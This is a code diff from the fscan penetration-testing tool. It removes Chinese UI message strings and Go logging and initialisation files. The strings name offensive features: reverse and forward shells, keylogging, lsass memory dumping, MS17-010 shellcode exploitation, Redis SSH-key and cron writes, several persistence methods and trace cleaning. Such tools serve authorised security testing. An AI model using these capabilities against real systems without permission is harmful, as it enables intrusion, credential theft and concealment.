-  other: "指定本地网卡IP地址 (VPN场景，如: 10.8.0.5)"
-flag_poc_path:
-  other: "POC脚本路径"
-flag_poc_name:
-  other: "POC名称"
-flag_poc_full:
-  other: "全量POC扫描"
-flag_dns_log:
-  other: "DNS日志记录"
-flag_poc_num:
-  other: "POC并发数"
-flag_no_poc:
-  other: "禁用POC扫描"
-flag_redis_file:
-  other: "Redis文件"
-flag_redis_shell:
-  other: "Redis Shell"
-flag_redis_write_path:
-  other: "Redis写入路径"
-flag_redis_write_content:
-  other: "Redis写入内容"
-flag_redis_write_file:
-  other: "Redis写入文件"
-flag_disable_redis:
-  other: "禁用Redis利用"
-flag_disable_brute:
-  other: "禁用暴力破解"
-flag_max_retries:
-  other: "最大重试次数"
-flag_packet_rate_limit:
-  other: "每分钟最大发包次数 (0表示不限制)"
-flag_max_packet_count:
-  other: "整个程序最大发包总数 (0表示不限制)"
-flag_icmp_rate:
-  other: "ICMP发包速率 (相对于最大速率的比例，默认0.1，约1463 pps)"
-flag_output_file:
-  other: "输出文件"
-flag_output_format:
-  other: "输出格式: txt, json, csv"
-flag_disable_save:
-  other: "禁用结果保存"
-flag_silent_mode:
-  other: "静默模式"
-flag_no_color:
-  other: "禁用颜色输出"
-flag_log_level:
-  other: "日志级别"
-flag_disable_progress:
-  other: "禁用进度条"
-flag_shellcode:
-  other: "Shellcode"
-flag_reverse_shell_target:
-  other: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)"
-flag_start_socks5_server:
-  other: "启动SOCKS5代理服务器端口 (如: 1080)"
-flag_forward_shell_port:
-  other: "启动正向Shell服务器端口 (如: 4444)"
-flag_persistence_file:
-  other: "Linux持久化目标文件路径 (支持.elf/.sh文件)"
-flag_win_pe_file:
-  other: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)"
-flag_keylogger_output:
-  other: "键盘记录输出文件路径"
-flag_download_url:
-  other: "要下载的文件URL"
-flag_download_path:
-  other: "下载文件保存路径"
-flag_language:
-  other: "语言: zh, en"
-flag_help:
-  other: "显示帮助信息"
-# ========================= 扫描模式消息 =========================
-scan_mode_service_selected:
-  other: "已选择服务扫描模式"
-scan_mode_alive_selected:
-  other: "已选择存活探测模式"
-scan_mode_local_selected:
-  other: "已选择本地扫描模式"
-scan_mode_web_selected:
-  other: "已选择Web扫描模式"
-scan_info_start:
-  other: "开始信息扫描"
-scan_host_start:
-  other: "开始主机扫描"
-scan_vulnerability_start:
-  other: "开始漏洞扫描"
-scan_no_service_plugins:
-  other: "未找到可用的服务插件"
-
-# ========================= 扫描策略消息 =========================
-scan_strategy_alive_name:
-  other: "存活探测"
-scan_strategy_alive_desc:
-  other: "快速探测主机存活状态"
-scan_strategy_local_name:
-  other: "本地扫描"
-scan_strategy_local_desc:
-  other: "收集本地系统信息"
-scan_strategy_service_name:
-  other: "服务扫描"
-scan_strategy_service_desc:
-  other: "扫描主机服务和漏洞"
-scan_strategy_web_name:
-  other: "Web扫描"
-scan_strategy_web_desc:
-  other: "扫描Web应用漏洞和信息"
-
-# ========================= 存活探测消息 =========================
-scan_alive_start:
-  other: "开始存活探测"
-scan_alive_summary_title:
-  other: "存活探测结果摘要"
-scan_alive_hosts_list:
-  other: "存活主机列表:"
-
-# ========================= 进度消息 =========================
-progress_scanning_description:
-  other: "扫描进度"
-progress_scan_completed:
-  other: "扫描完成:"
-concurrency_plugin:
-  other: "插件"
-concurrency_local_plugin:
-  other: "本地插件"
-concurrency_service_plugin:
-  other: "服务插件"
-concurrency_web_plugin:
-  other: "Web插件"
-
-# ========================= 解析错误消息 =========================
-parse_error_target_empty:
-  other: "目标输入为空"
-parse_error_no_hosts:
-  other: "解析后没有找到有效的目标主机"
-parse_error_empty_input:
-  other: "输入参数为空"
-parse_error_parser_not_init:
-  other: "解析器未初始化"
-target_local_mode:
-  other: "本地扫描模式"
-param_conflict_ao_icmp_both:
-  other: "提示: 同时指定了 -ao 和 -m icmp，两者功能相同，使用存活探测模式"
-
-# ========================= 解析器消息 =========================
-parser_empty_input:
-  other: "输入参数为空"
-parser_file_scan_failed:
-  other: "文件扫描失败"
-parser_username_invalid_chars:
-  other: "用户名包含非法字符"
-parser_password_empty:
-  other: "不允许空密码"
-parser_hash_empty:
-  other: "哈希值为空"
-parser_hash_invalid_format:
-  other: "哈希值格式无效，需要32位十六进制字符"
-
-# ========================= 配置消息 =========================
-config_web_timeout_warning:
-  other: "Web超时时间大于普通超时时间，可能导致不期望的行为"
-
-# ========================= 插件扫描消息 (带参数) =========================
-scan_plugin_not_found:
-  other: "扫描类型 {{.Arg1}} 无对应插件，已跳过"
-
-# ========================= SSH插件消息 =========================
-ssh_key_auth_success:
-  other: "SSH密钥认证成功: {{.Arg1}} [{{.Arg2}}]"
-ssh_pwd_auth_success:
-  other: "SSH密码认证成功: {{.Arg1}} [{{.Arg2}}:{{.Arg3}}]"
-ssh_key_read_failed:
-  other: "读取SSH私钥失败: {{.Arg1}}"
-ssh_service_identified:
-  other: "SSH服务识别成功: {{.Arg1}} - {{.Arg2}}"
-
-# ========================= Redis插件消息 =========================
-redis_unauth_success:
-  other: "Redis未授权访问: {{.Arg1}}"
-redis_service_identified:
-  other: "Redis服务识别成功: {{.Arg1}} - {{.Arg2}}"
-
-# ========================= ICMP相关消息 =========================
-trying_no_listen_icmp:
-  other: "尝试无监听ICMP探测"
-insufficient_privileges:
-  other: "权限不足，无法执行原始ICMP探测"
-switching_to_ping:
-  other: "切换到ping命令模式"
-icmp_listen_failed:
-  other: "ICMP监听失败: {{.Arg1}}"
-icmp_connect_failed:
-  other: "ICMP连接失败: {{.Arg1}}"
-icmp_listener_panic:
-  other: "ICMP监听协程异常: {{.Arg1}}"
-host_alive:
-  other: "{{.Arg1}} 存活 (协议: {{.Arg2}})"
-proxy_mode_disable_icmp:
-  other: "检测到代理模式，自动禁用ICMP扫描"
-segment_16_alive:
-  other: "{{.Arg1}}.0.0/16 网段存活: {{.Arg2}}"
-segment_24_alive:
-  other: "{{.Arg1}}.0/24 网段存活: {{.Arg2}}"
-tcp_probe_low_icmp_rate:
-  other: "ICMP响应率过低({{.Arg1}})，启用TCP补充探测({{.Arg2}}个主机)"
-tcp_probe_found:
-  other: "TCP补充探测发现 {{.Arg1}} 个存活主机"
-
-# ========================= 存活扫描统计消息 =========================
-parse_target_failed:
-  other: "解析目标失败: {{.Arg1}}"
-alive_scan_start_single:
-  other: "开始存活扫描: {{.Arg1}}"
-alive_scan_start_multi:
-  other: "开始存活扫描: {{.Arg1}}个目标 (首个: {{.Arg2}})"
-alive_total_hosts:
-  other: "总主机数: {{.Arg1}}"
-alive_hosts_count:
-  other: "存活主机: {{.Arg1}}"
-alive_dead_hosts:
-  other: "死亡主机: {{.Arg1}}"
-alive_success_rate:
-  other: "成功率: {{.Arg1}}"
-alive_scan_duration:
-  other: "扫描耗时: {{.Arg1}}"
-alive_host_item:
-  other: "  [{{.Arg1}}] {{.Arg2}}"
-
-# ========================= 扫描器消息 =========================
-http_client_init_failed:
-  other: "HTTP客户端初始化失败: {{.Arg1}}"
-active_reverse_shell:
-  other: "检测到活跃的反弹Shell，保持程序运行..."
-active_socks5_proxy:
-  other: "检测到活跃的SOCKS5代理，保持程序运行..."
-active_forward_shell:
-  other: "检测到活跃的正向Shell，保持程序运行..."
-press_ctrl_c_exit:
-  other: "按 Ctrl+C 退出程序"
-received_exit_signal:
-  other: "收到退出信号，正在关闭..."
-scan_task_complete:
-  other: "扫描任务完成，耗时 {{.Arg1}}，已扫描 {{.Arg2}} 个目标"
-plugin_panic:
-  other: "插件 {{.Arg1}} 扫描 {{.Arg2}}:{{.Arg3}} 时panic: {{.Arg4}}"
-plugin_scan_error:
-  other: "插件扫描错误 {{.Arg1}}:{{.Arg2}} - {{.Arg3}}"
-brute_no_weak_pass:
-  other: "{{.Arg1}}:{{.Arg2}} {{.Arg3}} 未发现弱密码"
-
-# ========================= 端口扫描消息 =========================
-invalid_port:
-  other: "无效端口: {{.Arg1}}"
-port_scan_start:
-  other: "开始端口扫描，共 {{.Arg1}} 个任务，预计耗时 {{.Arg2}} 秒（{{.Arg3}} 分钟）"
-thread_pool_create_failed:
-  other: "创建线程池失败: {{.Arg1}}"
-port_scan_complete:
-  other: "扫描完成，发现 {{.Arg1}} 个开放端口"
-scan_failure_rate_high:
-  other: "扫描失败率过高: {{.Arg1}} ({{.Arg2}}/{{.Arg3}}失败)"
-scan_failure_reason:
-  other: "可能原因: 线程数过高导致资源耗尽"
-scan_reduce_threads_suggestion:
-  other: "建议: 降低线程数(当前{{.Arg1}})到50-100，或增加系统ulimit"
-scan_partial_failure:
-  other: "部分端口扫描失败: {{.Arg1}} ({{.Arg2}}/{{.Arg3}})"
-scan_reduce_threads_accuracy:
-  other: "建议: 降低线程数(当前{{.Arg1}})以提高准确性"
-resource_exhausted_warning:
-  other: "资源耗尽错误 {{.Arg1}} 次，建议降低线程数(-t)或增加ulimit"
-port_open:
-  other: "端口开放 {{.Arg1}}"
-port_open_http:
-  other: "端口开放 {{.Arg1}} [http](HTTP探测)"
-port_scan_no_alive_subnet:
-  other: "网段预筛未发现存活子网，跳过端口扫描"
-
-# ========================= 本地扫描消息 =========================
-local_plugin_info:
-  other: "本地插件: {{.Arg1}}"
-local_plugin_not_specified:
-  other: "本地插件: 未指定"
-local_plugin_not_found:
-  other: "错误: 本地插件 '{{.Arg1}}' 不存在或在当前平台不可用"
-
-# ========================= 服务扫描消息 =========================
-service_plugin_info:
-  other: "服务插件: {{.Arg1}}"
-service_plugin_custom:
-  other: "服务插件: 自定义指定 ({{.Arg1}})"
-service_plugin_none:
-  other: "服务插件: 无可用插件"
-port_out_of_range:
-  other: "端口超出范围: {{.Arg1}} (有效范围: 1-65535)"
-invalid_target_format:
-  other: "无效的目标格式: {{.Arg1}}"
-host_port_invalid:
-  other: "主机 {{.Arg1}} 端口格式非法: {{.Arg2}}"
-host_port_out_of_range:
-  other: "主机 {{.Arg1}} 端口超出范围: {{.Arg2}} (有效范围: 1-65535)"
-alive_hosts_count_info:
-  other: "存活主机数: {{.Arg1}}"
-alive_ports_count:
-  other: "存活端口数: {{.Arg1}}"
-
-# ========================= Web扫描消息 =========================
-http_proxy_config_error:
-  other: "HTTP代理配置错误: {{.Arg1}}"
-socks5_not_supported_web:
-  other: "Web检测暂不支持SOCKS5代理，建议使用HTTP代理(-proxy)"
-url_parse_failed:
-  other: "解析URL失败: {{.Arg1}} - {{.Arg2}}"
-invalid_scan_target:
-  other: "无效的扫描目标"
-poc_load_failed:
-  other: "POC加载失败，无法执行扫描"
-
-# ========================= 基础扫描策略消息 =========================
-plugins_custom_specified:
-  other: "{{.Arg1}}: 自定义指定 ({{.Arg2}})"
-plugins_info:
-  other: "{{.Arg1}}: {{.Arg2}}"
-plugins_none:
-  other: "{{.Arg1}}: 无可用插件"
-start_local_scan:
-  other: "开始本地扫描"
-start_service_scan:
-  other: "开始服务扫描"
-start_web_scan:
-  other: "开始Web扫描"
-start_scan:
-  other: "开始扫描"
-
-# ========================= 服务插件通用消息 =========================
-# 格式: {service}_{type} - type: credential/unauth/service/vuln
-ldap_credential:
-  other: "LDAP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-ldap_hash_credential:
-  other: "LDAP {{.Arg1}} {{.Arg2}}\\{{.Arg3}} [Hash:{{.Arg4}}]"
-ldap_service:
-  other: "LDAP {{.Arg1}} {{.Arg2}}"
-kafka_credential:
-  other: "Kafka {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-kafka_service:
-  other: "Kafka {{.Arg1}} {{.Arg2}}"
-ftp_service:
-  other: "FTP {{.Arg1}} {{.Arg2}}"
-rdp_service:
-  other: "RDP {{.Arg1}} {{.Arg2}}"
-activemq_credential:
-  other: "ActiveMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-activemq_service:
-  other: "ActiveMQ {{.Arg1}} {{.Arg2}}"
-telnet_credential:
-  other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-telnet_service:
-  other: "Telnet {{.Arg1}} {{.Arg2}}"
-telnet_unauth_rce:
-  other: "Telnet {{.Arg1}} 未授权访问且可执行命令 [{{.Arg2}}] {{.Arg3}}"
-telnet_credential_rce:
-  other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} 命令执行验证成功 [{{.Arg4}}] {{.Arg5}}"
-telnet_cve202624061:
-  other: "Telnet {{.Arg1}} CVE-2026-24061 Telnet认证绕过 (用户: {{.Arg2}}) {{.Arg3}}"
-cassandra_credential:
-  other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-cassandra_service:
-  other: "Cassandra {{.Arg1}} {{.Arg2}}"
-cassandra_unauth:
-  other: "Cassandra {{.Arg1}} 无需认证"
-vnc_unauth:
-  other: "VNC {{.Arg1}} 未授权访问"
-vnc_credential:
-  other: "VNC {{.Arg1}} 密码: {{.Arg2}}"
-smtp_credential:
-  other: "SMTP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-smtp_service:
-  other: "SMTP {{.Arg1}} {{.Arg2}}"
-mongodb_unauth:
-  other: "MongoDB {{.Arg1}} 未授权访问"
-mongodb_credential:
-  other: "MongoDB {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-mongodb_auth_required:
-  other: "MongoDB {{.Arg1}} 需要认证"
-elasticsearch_credential:
-  other: "Elasticsearch {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-elasticsearch_unauth:
-  other: "Elasticsearch {{.Arg1}} 未授权访问"
-elasticsearch_service:
-  other: "Elasticsearch {{.Arg1}} {{.Arg2}}"
-mysql_credential:
-  other: "MySQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-mysql_service:
-  other: "MySQL {{.Arg1}} {{.Arg2}}"
-memcached_unauth:
-  other: "Memcached {{.Arg1}} 未授权访问"
-memcached_service:
-  other: "Memcached {{.Arg1}} {{.Arg2}}"
-rsync_credential:
-  other: "Rsync {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-rsync_service:
-  other: "Rsync {{.Arg1}} {{.Arg2}}"
-oracle_credential:
-  other: "Oracle {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-oracle_service:
-  other: "Oracle {{.Arg1}} {{.Arg2}}"
-oracle_default_account:
-  other: "Oracle {{.Arg1}} 默认账户: {{.Arg2}}:{{.Arg3}}"
-postgresql_credential:
-  other: "PostgreSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-postgresql_service:
-  other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
-postgresql_vuln:
-  other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
-smb_service:
-  other: "SMB {{.Arg1}} {{.Arg2}}"
-rabbitmq_credential:
-  other: "RabbitMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-rabbitmq_service:
-  other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
-neo4j_unauth:
-  other: "Neo4j {{.Arg1}} 未授权访问"
-neo4j_credential:
-  other: "Neo4j {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-neo4j_service:
-  other: "Neo4j {{.Arg1}} {{.Arg2}}"
-mssql_credential:
-  other: "MSSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
-mssql_service:
-  other: "MSSQL {{.Arg1}} {{.Arg2}}"
-
-# ========================= 漏洞检测消息 =========================
-smbghost_vuln:
-  other: "SMB Ghost {{.Arg1}} CVE-2020-0796 漏洞存在"
-ms17010_start:
-  other: "MS17-010利用开始: {{.Arg1}}"
-ms17010_complete:
-  other: "MS17-010利用完成: {{.Arg1}}"
-ms17010_shellcode_complete:
-  other: "{{.Arg1}} MS17-010漏洞利用完成 (Shellcode长度: {{.Arg2}})"
-ms17010_protocol_decrypt_error:
-  other: "协议请求解密错误: {{.Arg1}}"
-ms17010_protocol_decode_error:
-  other: "协议请求解码错误: {{.Arg1}}"
-ms17010_session_decrypt_error:
-  other: "会话请求解密错误: {{.Arg1}}"
-ms17010_session_decode_error:
-  other: "会话请求解码错误: {{.Arg1}}"
-ms17010_connect_decrypt_error:
-  other: "连接请求解密错误: {{.Arg1}}"
-ms17010_connect_decode_error:
-  other: "连接请求解码错误: {{.Arg1}}"
-ms17010_pipe_decrypt_error:
-  other: "管道请求解密错误: {{.Arg1}}"
-ms17010_pipe_decode_error:
-  other: "管道请求解码错误: {{.Arg1}}"
-
-# ========================= Redis插件消息 =========================
-redis_reconnect_failed:
-  other: "重新连接Redis失败: {{.Arg1}}"
-redis_config_failed:
-  other: "获取Redis配置失败: {{.Arg1}}"
-redis_write_failed:
-  other: "文件写入失败: {{.Arg1}}"
-redis_write_success:
-  other: "成功写入文件: {{.Arg1}}"
-redis_read_failed:
-  other: "读取本地文件失败: {{.Arg1}}"
-redis_file_write_success:
-  other: "成功将文件 {{.Arg1}} 的内容写入到 {{.Arg2}}"
-redis_ssh_key_failed:
-  other: "SSH密钥写入失败: {{.Arg1}}"
-redis_ssh_key_success:
-  other: "SSH密钥写入成功"
-redis_cron_failed:
-  other: "定时任务写入失败: {{.Arg1}}"
-redis_cron_success:
-  other: "定时任务写入成功"
-redis_restore_failed:
-  other: "恢复数据库配置失败: {{.Arg1}}"
-
-# ========================= 本地插件消息 =========================
-# 计划任务持久化
-crontask_success:
-  other: "计划任务持久化完成: {{.Arg1}}个方法成功"
-
-# 键盘记录
-keylogger_success:
-  other: "键盘记录完成，捕获了 {{.Arg1}} 个键盘事件"
-keylogger_save_failed:
-  other: "保存键盘记录失败: {{.Arg1}}"
-keylogger_no_input:
-  other: "没有捕获到键盘输入"
-
-# 环境变量信息
-envinfo_sensitive:
-  other: "发现敏感环境变量: {{.Arg1}}"
-
-# Windows WMI
-winwmi_success:
-  other: "Windows WMI事件订阅持久化完成: {{.Arg1}}个项目"
-
-# 痕迹清理
-cleaner_success:
-  other: "痕迹清理完成: {{.Arg1}}个文件, {{.Arg2}}个系统条目"
-cleaner_history_found:
-  other: "发现历史文件: {{.Arg1}} (需手动清理相关条目)"
-
-# 文件下载
-downloader_success:
-  other: "文件下载完成: {{.Arg1}} -> {{.Arg2}} (大小: {{.Arg3}} bytes)"
-
-# 正向Shell
-forwardshell_complete:
-  other: "正向Shell服务完成 - 端口: {{.Arg1}}"
-forwardshell_started:
-  other: "正向Shell服务器已在 0.0.0.0:{{.Arg1}} 上启动"
-forwardshell_accept_failed:
-  other: "接受连接失败: {{.Arg1}}"
-forwardshell_client_connected:
-  other: "客户端连接来自: {{.Arg1}}"
-forwardshell_read_failed:
-  other: "读取客户端命令失败: {{.Arg1}}"
-
-# AV检测
-avdetect_load_failed:
-  other: "加载AV数据库失败: {{.Arg1}}"
-avdetect_loaded:
-  other: "加载了 {{.Arg1}} 个AV产品信息"
-avdetect_found:
-  other: "检测到AV: {{.Arg1}} ({{.Arg2}}个进程)"
-avdetect_process:
-  other: "  - {{.Arg1}}"
-
-# Windows启动文件夹
-winstartup_success:
-  other: "Windows启动文件夹持久化完成: {{.Arg1}}个方法"
-
-# 文件信息
-fileinfo_sensitive:
-  other: "发现敏感文件: {{.Arg1}}"
-fileinfo_potential:
-  other: "发现潜在敏感文件: {{.Arg1}}"
-
-# 域控信息
-dcinfo_not_joined:
-  other: "当前计算机未加入域环境"
-dcinfo_success:
-  other: "域控制器信息收集完成: {{.Arg1}}个类别成功"
-
-# Windows服务
-winservice_success:
-  other: "Windows服务持久化完成: {{.Arg1}}个项目"
-
-# Shell环境变量
-shellenv_success:
-  other: "Shell环境变量持久化完成: {{.Arg1}}个方法成功"
-
-# LD_PRELOAD
-ldpreload_success:
-  other: "LD_PRELOAD持久化完成: {{.Arg1}}个方法成功"
-
-# SOCKS5代理
-socks5_starting:
-  other: "在端口 {{.Arg1}} 上启动SOCKS5代理"
-socks5_complete:
-  other: "SOCKS5代理完成 - 端口: {{.Arg1}}"
-socks5_started:
-  other: "SOCKS5代理服务器已在 127.0.0.1:{{.Arg1}} 上启动"
-socks5_cancelled:
-  other: "SOCKS5代理服务器被上下文取消"
-socks5_accept_failed:
-  other: "接受连接失败: {{.Arg1}}"
-socks5_handshake_failed:
-  other: "SOCKS5握手失败: {{.Arg1}}"
-socks5_request_failed:
-  other: "SOCKS5请求处理失败: {{.Arg1}}"
-socks5_connected:
-  other: "建立SOCKS5代理连接"
-
-# 反弹Shell
-reverseshell_complete:
-  other: "反弹Shell完成 - 目标: {{.Arg1}}"
-reverseshell_connected:
-  other: "反弹Shell已连接到 {{.Arg1}}:{{.Arg2}}"
-
-# Systemd服务
-systemdservice_success:
-  other: "系统服务持久化完成: {{.Arg1}}个方法成功"
-
-# 系统信息
-systeminfo_start:
-  other: "开始系统信息收集"
-systeminfo_os:
-  other: "操作系统: {{.Arg1}}"
-systeminfo_arch:
-  other: "架构: {{.Arg1}}"
-systeminfo_cpu:
-  other: "CPU核心数: {{.Arg1}}"
-systeminfo_hostname:
-  other: "主机名: {{.Arg1}}"
-systeminfo_user:
-  other: "当前用户: {{.Arg1}}"
-systeminfo_homedir:
-  other: "用户目录: {{.Arg1}}"
-systeminfo_workdir:
-  other: "工作目录: {{.Arg1}}"
-systeminfo_tempdir:
-  other: "临时目录: {{.Arg1}}"
-systeminfo_pathcount:
-  other: "PATH变量条目: {{.Arg1}}个"
-systeminfo_winver:
-  other: "Windows版本: {{.Arg1}}"
-systeminfo_domain:
-  other: "用户域: {{.Arg1}}"
-systeminfo_kernel:
-  other: "系统内核: {{.Arg1}}"
-systeminfo_distro:
-  other: "发行版: {{.Arg1}}"
-systeminfo_distro_exists:
-  other: "发行版: /etc/os-release 存在"
-systeminfo_whoami:
-  other: "当前用户(whoami): {{.Arg1}}"
-
-# Windows计划任务
-winschtask_success:
-  other: "Windows计划任务持久化完成: {{.Arg1}}个项目"
-
-# Windows注册表
-winregistry_success:
-  other: "Windows注册表持久化完成: {{.Arg1}}个项目"
-
-# Minidump
-minidump_panic:
-  other: "minidump插件发生panic: {{.Arg1}}"
-minidump_success:
-  other: "成功将lsass.exe内存转储到文件: {{.Arg1}} (大小: {{.Arg2}} bytes)"
-
-# ========================= WebScan消息 =========================
-webscan_target_url_failed:
-  other: "构建目标URL失败: {{.Arg1}}"
-webscan_invalid_url:
-  other: "{{.Arg1}} {{.Arg2}}: {{.Arg3}}"
-webscan_request_create_failed:
-  other: "创建HTTP请求失败: {{.Arg1}}"
-webscan_builtin_poc_failed:
-  other: "加载内置POC目录失败: {{.Arg1}}"
-webscan_poc_dir_not_exist:
-  other: "POC目录不存在: {{.Arg1}}"
-webscan_poc_dir_walk_failed:
-  other: "遍历POC目录失败: {{.Arg1}}"
-webscan_rule_match_error:
-  other: "规则匹配错误 [{{.Arg1}}]: {{.Arg2}}"
-webscan_poc_exec_error:
-  other: "执行POC错误 {{.Arg1}}: {{.Arg2}}"
-webscan_set_exec_error:
-  other: "设置项执行错误 {{.Arg1}}: {{.Arg2}}"
-webscan_regex_compile_error:
-  other: "正则编译错误: {{.Arg1}}"
-webscan_reverse_url_error:
-  other: "反连URL解析错误: {{.Arg1}}"
-webscan_cel_syntax_error:
-  other: "CEL语法错误 [{{.Arg1}}]: {{.Arg2}}"
-webscan_cel_init_failed:
-  other: "初始化基础CEL环境失败: {{.Arg1}}"
-webscan_request_restricted:
-  other: "POC HTTP请求 {{.Arg1}} 受限: {{.Arg2}}"
-webscan_response_parse_failed:
-  other: "响应解析失败: {{.Arg1}}"
-
-# Main 入口
-param_error:
-  other: "参数错误: {{.Arg1}}"
-error_generic:
-  other: "错误: {{.Arg1}}"
-init_failed:
-  other: "初始化失败: {{.Arg1}}"
-poc_load_complete:
-  other: "POC加载完成: 总共{{.Arg1}}个，成功{{.Arg2}}个，失败{{.Arg3}}个"
-redis_scan_success:
-  other: "Redis {{.Arg1}} {{.Arg2}}"
-rabbitmq_detected:
-  other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
-
-# ========================= Web UI消息 =========================
-web_server_started:
-  other: "Web服务器已启动，端口: {{.Arg1}}"
-web_shutting_down:
-  other: "Web服务器正在关闭..."
-web_mode_not_supported:
-  other: "当前版本不支持Web模式，请使用 -tags web 重新编译"

common/initialize.go

@@ -1,92 +0,0 @@
-package common
-
-import (
-	"fmt"
-)
-
-/*
-initialize.go - 统一初始化入口
-
-简化后的流程：
-命令行 → FlagVars → BuildConfig() → Config + State
-*/
-
-// InitResult 初始化结果
-type InitResult struct {
-	Config  *Config
-	State   *State
-	Info    *HostInfo
-	Session *ScanSession
-}
-
-// Initialize 统一初始化函数
-// 封装 BuildConfig → InitOutput 流程
-func Initialize(info *HostInfo) (*InitResult, error) {
-	// 1. 初始化日志系统
-	InitLogger()
-
-	// 2. 从 FlagVars 构建 Config 和 State
-	cfg, state, err := BuildConfig(GetFlagVars(), info)
-	if err != nil {
-		return nil, fmt.Errorf("配置构建失败: %w", err)
-	}
-
-	// 3. 设置全局实例
-	SetGlobalConfig(cfg)
-	SetGlobalState(state)
-
-	// 4. 初始化输出系统
-	if err := InitOutput(); err != nil {
-		return nil, fmt.Errorf("输出初始化失败: %w", err)
-	}
-
-	session := NewScanSession(cfg, state, GetFlagVars())
-
-	return &InitResult{
-		Config:  cfg,
-		State:   state,
-		Info:    info,
-		Session: session,
-	}, nil
-}
-
-// ValidateExclusiveParams 验证互斥参数
-// 检查 -h、-u、-local 只能指定一个
-func ValidateExclusiveParams(info *HostInfo) error {
-	paramCount := 0
-	var activeParam string
-
-	fv := GetFlagVars()
-
-	if info.Host != "" {
-		paramCount++
-		activeParam = "-h"
-	}
-	if fv.TargetURL != "" {
-		paramCount++
-		if activeParam != "" {
-			activeParam += " 和 -u"
-		} else {
-			activeParam = "-u"
-		}
-	}
-	if fv.LocalPlugin != "" {
-		paramCount++
-		if activeParam != "" {
-			activeParam += " 和 -local"
-		} else {
-			activeParam = "-local"
-		}
-	}
-
-	if paramCount > 1 {
-		return fmt.Errorf("参数 %s 互斥，请只指定一个扫描目标\n  -h: 网络主机扫描\n  -u: Web URL扫描\n  -local: 本地信息收集", activeParam)
-	}
-
-	return nil
-}
-
-// Cleanup 清理资源
-func Cleanup() error {
-	return CloseOutput()
-}

common/log.go

@@ -0,0 +1,50 @@
+package common
+
+import (
+	"fmt"
+	"os"
+	"sync"
+)
+
+func LogSuccess(result string){
+	mutex := &sync.Mutex{}
+	mutex.Lock()
+	fmt.Println(result)
+	if IsSave {
+		WriteFile(result,Outputfile)
+	}
+	mutex.Unlock()
+}
+func WriteFile(result string,filename string)  {
+	var text = []byte(result+"\n")
+	fl, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0777)
+	if err != nil {
+		fmt.Println(err)
+		return
+	}
+	defer fl.Close()
+	_, err = fl.Write(text)
+	if err!= nil{
+		fmt.Println(err)
+	}
+}
+//err := ioutil.WriteFile(filename, text, 0666)
+//if err!= nil{
+//	fmt.Println(err)
+//}
+//var f *os.File
+//var err error
+//if checkFileIsExist(filename) { //如果文件存在
+//	f, err = os.OpenFile(filename, os.O_APPEND, 0666) //打开文件
+//	fmt.Println("文件存在")
+//} else {
+//	f, err = os.Create(filename) //创建文件
+//	fmt.Println("文件不存在")
+//}
+//func checkFileIsExist(filename string) bool {
+//	var exist = true
+//	if _, err := os.Stat(filename); os.IsNotExist(err) {
+//		exist = false
+//	}
+//	return exist
+//}

common/logger.go

@@ -1,90 +0,0 @@
-package common
-
-/*
-logger.go - 日志系统简化接口
-
-提供统一的日志API，底层使用logging包实现。
-*/
-
-import (
-	"strings"
-	"sync"
-
-	"github.com/shadow1ng/fscan/common/logging"
-)
-
-var (
-	globalLogger *logging.Logger
-	loggerOnce   sync.Once
-)
-
-func getGlobalLogger() *logging.Logger {
-	loggerOnce.Do(func() {
-		fv := GetFlagVars()
-		level := getLogLevelFromString(fv.LogLevel)
-		config := &logging.LoggerConfig{
-			Level:        level,
-			EnableColor:  !fv.NoColor,
-			SlowOutput:   false,
-			ShowProgress: !fv.DisableProgress,
-			Silent:       fv.Silent,
-			StartTime:    GetGlobalState().GetStartTime(),
-		}
-		if fv.Debug {
-			config.DebugLogFile = "fscan_debug.log"
-		}
-		globalLogger = logging.NewLogger(config)
-		globalLogger.SetCoordinatedOutput(LogWithProgress)
-	})
-	return globalLogger
-}
-
-func getLogLevelFromString(levelStr string) logging.LogLevel {
-	switch strings.ToLower(levelStr) {
-	case "all":
-		return logging.LevelAll
-	case "error":
-		return logging.LevelError
-	case "base":
-		return logging.LevelBase
-	case "info":
-		return logging.LevelInfo
-	case "success":
-		return logging.LevelSuccess
-	case "debug":
-		return logging.LevelDebug
-	case "info,success":
-		return logging.LevelInfoSuccess
-	case "base,info,success", "base_info_success":
-		return logging.LevelBaseInfoSuccess
-	default:
-		return logging.LevelInfoSuccess
-	}
-}
-
-// InitLogger 初始化日志系统
-func InitLogger() {
-	getGlobalLogger().Initialize()
-}
-
-// LogDebug 输出调试日志
-func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
-
-// LogInfo 输出信息日志
-func LogInfo(msg string) { getGlobalLogger().Info(msg) }
-
-// LogSuccess 输出成功日志（Web指纹等）
-func LogSuccess(result string) { getGlobalLogger().Success(result) }
-
-// LogVuln 输出漏洞/重要发现日志（密码成功、漏洞等）
-func LogVuln(result string) { getGlobalLogger().Vuln(result) }
-
-// LogError 输出错误日志
-func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
-
-// CloseLogger 关闭日志系统，释放文件资源
-func CloseLogger() {
-	if globalLogger != nil {
-		globalLogger.Close()
-	}
-}

common/logging/constants.go

@@ -1,104 +0,0 @@
-package logging
-
-/*
-constants.go - 日志系统常量定义
-
-统一管理common/logging包中的所有常量，便于查看和编辑。
-*/
-
-import (
-	"time"
-
-	"github.com/fatih/color"
